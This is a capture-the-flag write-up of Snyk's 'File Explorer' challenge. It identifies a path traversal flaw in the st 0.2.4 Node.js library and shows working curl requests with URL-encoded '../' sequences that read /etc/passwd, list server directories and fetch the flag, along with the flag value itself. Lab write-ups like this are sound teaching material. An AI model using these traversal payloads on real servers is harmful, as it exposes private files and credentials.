File Explorer
description
tags:
Expose hidden files in the web application.
http://file-explorer.c.ctf-snyk.io/
hint: https://github.com/lcrowther-snyk/file-explorer
writeup
After opening the website http://file-explorer.c.ctf-snyk.io/ in my webbrowser I see this:
the link with the caption “here” redirects me to http://file-explorer.c.ctf-snyk.io/public/ and we can see a directory listing:
This is the source code of the main site (http://file-explorer.c.ctf-snyk.io/):
1
2
3
4
5
6
7
8
9
10
| <!DOCTYPE html>
<html>
<h1 id="page-title">Go ahead hack m3</h1>
<h2 id="page-title">find the flag</h2>
<p>Take a look at our files <a href="/public/">here<a></p>
</body>
</html>
|
After I could not find anything interesting on that directory I ran gobuster to scan for any hidden files:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
| mkdir gobuster
gobuster dir --url [http://file-explorer.c.ctf-snyk.io/](http://file-explorer.c.ctf-snyk.io/) --output gobuster/big.txt -w /usr/share/wordlists/dirb/big.txt
/blog9.txt (Status: 502) [Size: 332]
/carrito.php (Status: 502) [Size: 332]
/cd (Status: 502) [Size: 332]
/css-js.txt (Status: 502) [Size: 332]
/ebayimages.txt (Status: 502) [Size: 332]
/edit_saved.php (Status: 502) [Size: 332]
/editors.txt (Status: 502) [Size: 332]
/edito.zip (Status: 502) [Size: 332]
/eds (Status: 502) [Size: 332]
/elo.txt (Status: 502) [Size: 332]
/gertrude (Status: 502) [Size: 332]
/gi.txt (Status: 502) [Size: 332]
/gizmo.txt (Status: 502) [Size: 332]
/glossario.txt (Status: 502) [Size: 332]
/glosuj (Status: 502) [Size: 332]
/glossario.php (Status: 502) [Size: 332]
/gprs.php (Status: 502) [Size: 332]
/graduation (Status: 502) [Size: 332]
Progress: 34460 / 81880 (42.09%) [ERROR] 2022/11/09 14:40:12 [!] Get "http://file-explorer.c.ctf-snyk.io/graphics2": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 34536 / 81880 (42.18%) [ERROR] 2022/11/09 14:40:30 [!] Get "http://file-explorer.c.ctf-snyk.io/greeting.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/gruppen.txt (Status: 502) [Size: 332]
/guest-tracking.txt (Status: 502) [Size: 332]
/guinness (Status: 502) [Size: 332]
/h2 (Status: 502) [Size: 332]
Progress: 34912 / 81880 (42.64%) [ERROR] 2022/11/09 14:41:55 [!] Get "http://file-explorer.c.ctf-snyk.io/gz.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/happyholidays (Status: 502) [Size: 332]
/kill (Status: 502) [Size: 332]
/kindeditor.php (Status: 502) [Size: 332]
/kristi (Status: 502) [Size: 332]g
/lines.php (Status: 502) [Size: 332]
/link_exchange.txt (Status: 502) [Size: 332]
/link_banner (Status: 502) [Size: 332]
Progress: 43600 / 81880 (53.25%) [ERROR] 2022/11/09 14:52:46 [!] Get "http://file-explorer.c.ctf-snyk.io/links-page.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/listing_photos (Status: 502) [Size: 332]
/listmail.php (Status: 502) [Size: 332]
Progress: 43776 / 81880 (53.46%) [ERROR] 2022/11/09 14:53:10 [!] Get "http://file-explorer.c.ctf-snyk.io/liuyan.zip": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 43788 / 81880 (53.48%) [ERROR] 2022/11/09 14:53:11 [!] Get "http://file-explorer.c.ctf-snyk.io/lit.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 44008 / 81880 (53.75%) [ERROR] 2022/11/09 14:53:48 [!] Get "http://file-explorer.c.ctf-snyk.io/ln.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/louis.php (Status: 502) [Size: 332]
/lucas.zip (Status: 502) [Size: 332]
/lulu.zip (Status: 502) [Size: 332]
/ma (Status: 502) [Size: 332]
/ma-fr.zip (Status: 502) [Size: 332]
/m2css.zip (Status: 502) [Size: 332]
/maint.php (Status: 502) [Size: 332]
/makeover.php (Status: 502) [Size: 332]
/manufacturers (Status: 502) [Size: 332]
/marilyn.php (Status: 502) [Size: 332]
/mark (Status: 502) [Size: 332]
Progress: 46060 / 81880 (56.25%) [ERROR] 2022/11/09 14:58:23 [!] Get "http://file-explorer.c.ctf-snyk.io/maxwell": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/mypoints.php (Status: 502) [Size: 332]
/null.php (Status: 502) [Size: 332]
|
But unfortunately gobuster did not find anything.
In the hint of this challenge is a github repository mentioned:
file-explorer/app.js at main · lcrowther-snyk/file-explorer
That looks to be the source code of this challenge!
The server is running node.js and here is the source code of the app.js
file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| /**
* Module dependencies.
*/
var st = require('st');
var express = require('express');
var http = require('http');
var app = express();
// all environments
app.set('port', process.env.PORT || 3001);
app.get('/', function(request, response){
response.sendFile(process.cwd() +'/index.html');
});
// Static
app.use(st({ path: './public', url: '/public' }));
http.createServer(app).listen(app.get('port'), function () {
console.log('Express server listening on port ' + app.get('port'));
});
|
We can also take a look at the package.json
file to get the version numbers of the packages:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| {
"name": "goof",
"version": "1.0.1",
"description": "A vulnerable todo demo application",
"homepage": "https://snyk.io/",
"repository": {
"type": "git",
"url": "https://github.com/Snyk/snyk-todo-list-demo-app/"
},
"scripts": {
"start": "node app.js",
"build": "browserify -r jquery > public/js/bundle.js",
"cleanup": "mongo express-todo --eval 'db.todos.remove({});'"
},
"engines": {
"node": "6.14.1"
},
"dependencies": {
"express": "4.16.0",
"st": "0.2.4"
}
}
|
I think it is weird that the program is using the st library.
The version used for st is 0.2.4.
After searching the internet , there seems to be a LFI vulnerability for this version of st.
Here is the link to snyk for the vulnerability:
https://security.snyk.io/vuln/npm:st:20140206
Versions prior to 0.2.5 did not properly prevent path traversal. Literal dots in a path were resolved out, but url encoded dots were not. Thus, a request like /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
would leak sensitive files and data from the server.
As of version 0.2.5, any '/../'
in the request path, urlencoded or not, will be replaced with '/'
. If your application depends on url traversal, then you are encouraged to please refactor so that you do not depend on having ..
in url paths, as this tends to expose data that you may be surprised to be exposing.
So it seems like we can get LFI working here by just encoding the ../
characters using URL-encoding. A single dot in URL encoding is: %2e
. So two dots would be %2e%2e
and the forward slash character is represented as %2f
in URL-encoded form.
By replacing problematic characters like mentioned in the snyk vulnerability we could craft a payload that looks like this:
%2e%2e%2f%2e%2e%2f%2e%2e%2F%2e%2e%2F%2e%2e/etc/passwd
Here is a proof-of-concept for this LFI:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| curl http://file-explorer.c.ctf-snyk.io/public/%2e%2e%2f%2e%2e%2f%2e%2e%2F%2e%2e%2F%2e%2e/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
node:x:1000:1000::/home/node:/bin/bash
|
We can get the contents of /etc/passwd which means that the LFI works!
It can even be abused to get directory listing:
File Listing PoC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| curl http://file-explorer.c.ctf-snyk.io/public/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/
<!doctype html><html><head><title>Index of </title></head><body><h1>Index of </h1><hr><pre><a href="../">../</a>
<a href="bin/">bin/</a> 2019-05-08T01:41:31.000Z -
<a href="boot/">boot/</a> 2019-03-28T09:12:44.000Z -
<a href="dev/">dev/</a> 2022-11-09T11:51:50.758Z -
<a href="etc/">etc/</a> 2022-11-09T11:51:47.531Z -
<a href="home/">home/</a> 2019-05-08T02:14:27.000Z -
<a href="lib/">lib/</a> 2019-05-08T01:41:44.000Z -
<a href="lib64/">lib64/</a> 2019-05-06T00:00:00.000Z -
<a href="media/">media/</a> 2019-05-06T00:00:00.000Z -
<a href="mnt/">mnt/</a> 2019-05-06T00:00:00.000Z -
<a href="opt/">opt/</a> 2019-05-08T02:17:53.000Z -
<a href="proc/">proc/</a> 2022-11-09T11:51:50.747Z -
<a href="root/">root/</a> 2022-09-22T07:15:14.000Z -
<a href="run/">run/</a> 2019-05-06T00:00:00.000Z -
<a href="sbin/">sbin/</a> 2019-05-08T01:40:28.000Z -
<a href="srv/">srv/</a> 2019-05-06T00:00:00.000Z -
<a href="sys/">sys/</a> 2022-11-09T11:48:47.826Z -
<a href="tmp/">tmp/</a> 2022-09-22T07:15:14.000Z -
<a href="usr/">usr/</a> 2019-05-06T00:00:00.000Z -
<a href="var/">var/</a> 2019-05-06T00:00:00.000Z -
</pre><hr></body></html>
|
After searching for a while I found the source code of the program and found the flag.
It turns out that the source code for the program is located in /usr/src/goof
1
2
3
4
| curl http://file-explorer.c.ctf-snyk.io/public/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/usr/src/
<!doctype html><html><head><title>Index of </title></head><body><h1>Index of </h1><hr><pre><a href="../">../</a>
<a href="goof/">goof/</a> 2022-09-22T07:15:25.000Z -
</pre><hr></body></html>
|
Let’s see what is inside that folder:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| curl http://file-explorer.c.ctf-snyk.io/public/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/usr/src/goof/
<!doctype html><html><head><title>Index of </title></head><body><h1>Index of </h1><hr><pre><a href="../">../</a>
<a href="node_modules/">node_modules/</a> 2022-09-22T07:15:28.000Z -
<a href="public/">public/</a> 2022-09-22T07:13:46.000Z -
<a href="routes/">routes/</a> 2022-09-22T07:13:46.000Z -
<a href="views/">views/</a> 2022-09-22T07:13:46.000Z -
<a href="app.js">app.js</a> 2022-09-22T07:13:46.000Z 502
<a href="app.json">app.json</a> 2022-09-22T07:13:46.000Z 267
<a href="build-tag-push.sh">build-tag-push.sh</a> 2022-09-22T07:13:46.000Z 206
<a href="challenge.yml">challenge.yml</a> 2022-09-22T07:13:46.000Z 1261
<a href="docker-compose.yml">docker-compose.yml</a> 2022-09-22T07:13:46.000Z 155
<a href="Dockerfile">Dockerfile</a> 2022-09-22T07:13:46.000Z 203
<a href="flag">flag</a> 2022-09-22T07:13:46.000Z 72
<a href="index.html">index.html</a> 2022-09-22T07:13:46.000Z 182
<a href="package-lock.json">package-lock.json</a> 2022-09-22T07:13:46.000Z 34853
<a href="package.json">package.json</a> 2022-09-22T07:13:46.000Z 518
<a href="README.md">README.md</a> 2022-09-22T07:13:46.000Z 28
<a href="test.py">test.py</a> 2022-09-22T07:13:46.000Z 603
</pre><hr></body></html>
|
There is the flag!
It’s located in /usr/src/goof/flag
Let’s retrieve the flag using curl
1
2
| curl http://file-explorer.c.ctf-snyk.io/public/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/usr/src/goof/flag
SNYK{6854ecb17f23afdf2610f741dd07bd6099c616e4ac2a403eb14fa8689e1fb0af}
|
found the flag:
SNYK{6854ecb17f23afdf2610f741dd07bd6099c616e4ac2a403eb14fa8689e1fb0af}